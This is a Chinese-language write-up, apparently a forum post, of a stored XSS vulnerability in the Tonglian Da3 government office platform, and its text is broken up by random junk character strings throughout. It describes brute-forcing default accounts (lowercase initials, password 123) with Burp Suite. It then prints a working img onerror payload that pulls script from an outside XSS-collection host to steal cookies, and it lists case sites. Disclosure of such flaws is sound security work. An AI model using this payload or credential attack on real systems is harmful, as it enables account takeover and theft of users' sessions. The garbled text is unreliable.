同联Da3协同办公平台后台通用储存型xss漏洞

admin

1 T! }/ F9 ]4 l# ~" y; C1 v- B - E( U6 I" q. Y# C# J - {9 w' Y7 B' m( E/ _ ; M) w) v0 ^, X% U# v , B& L9 Q2 w) _9 v! T+ B3 _

, p, s. x+ l5 p 同联Da3协同办公平台后台通用储存型xss漏洞 / a v% ]- y" _2 u% f5 {

平台简介： : W1 L8 V0 E ~

  7 X9 n# D u8 g3 w

北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
! V0 y( T% a$ e$ u0 Y( P6 U' I8 ]同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！

 

' F' D5 K9 H5 A6 v 由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址：

% \& L9 c1 X" h2 x   / ]# W3 b# G6 X) L: x6 K

. n! n- q+ c2 }/ e( E. _

5 I# t0 f9 B9 f4 D( P+ E http://1.1.1.1:7197/cap-aco/#（案例2-） ' M7 F& V& ?% o" ]9 I' N$ x

http://www.XXOO.com （案例1-官网网站）

1 l1 s2 ?$ ]* M! I1 j# t! @5 m# u9 c 漏洞详情:

9 B% u. R; n: f+ @6 I' l8 L) a

 案例一、

, T% G; Y6 G/ b) F 初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试

1 V$ x6 y! @, U9 r

7 c! \, g, \ p$ \) \+ [) {      首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图： " C4 k) s1 H8 ?( |" F/ {

. {: z" c3 z% \# O3 W

, Q0 M# F3 J5 \$ L   6 t) v% @6 B/ Q

T6 X$ e9 Q( J; L& m, u- L

, I* m L: F, }3 F& r0 o: r% G+ n

0 `/ z ^: B7 O% D( f" s0 q, w status为302即表示破解成功，然后找个破解成功的账号登录系统。然后在通知公告---通知公告发布-拟稿处存在储存型xss漏洞，我在编机器里填写好标题、选择人员，点html如图： / [0 Z0 L9 F. v* ~* w% z: d `

 

4 O9 I Q9 Q9 Y) J5 [

! l* M- v# Y3 q) r) Y( s

% p" ^2 a0 y% c8 p( z

然后插我们的xss跨站代码（经过测试发现过滤了好多标签，比如script，没过滤img、iframe标签），这里我们用img标签来测试，payload如下

0 M! r/ x3 L ?9 Q  

! e% }" ~& T/ {6 F* g' Q" R

; b/ ^! O1 \. c4 ~/ R) [ <img src=x . @- e3 o" e6 Jonerror=s=createElement('\x73cript');body.appendChild(s);s.src='http://xss.6kb.org/7OO7GQ?1510065652';>，如图： # Q: }; [- E; M6 O6 }

, M. r- w7 u$ D+ J% [

然后发送，接收cookie如图：

" k7 Z/ B! ~$ v/ F

 

. @1 |- N/ E0 N/ [   2 ^# E% r( @ e5 L% q( l

5 K! w7 Q4 }7 k! |

  $ z! c/ D5 `/ k0 H' t/ Y

% j# P5 c3 N* V" I0 p$ \, C; D  

5 N" B) C/ M; H$ ?7 s% C+ k. H

  3 o+ B, W$ n( X0 A0 ~7 {

) _$ E* d' D S. j

" z; K, }: Z+ m# i: \ 案例2、

! t$ u2 g% i: s0 B5 I& ]' K" M 前面步骤都一样，下面看效果图：

0 W J& t( f5 @- T, n l

" u; V. E2 a! E( c! ~! b1 o" `

! ~+ n+ r, O7 _) E. y9 f

s! X- A6 `0 P* U3 X: W6 a$ h

: F( Q8 P4 F$ z, l6 {9 {' i7 x5 n" _1 [8 o  

# R: L" p* z1 ^$ P   0 U# Q& E. q' P! p9 x4 |+ _

I4 O' i7 }+ h: \ C$ w. e

6 X% \) j }" q- g

 

 

  8 O- ~) p1 U: s1 J* z' X! F

+ X6 m2 U$ v: D7 ~   Z( X1 ^, ~3 b- k r6 b$ K

% `5 h& k& X1 o, c' R) b K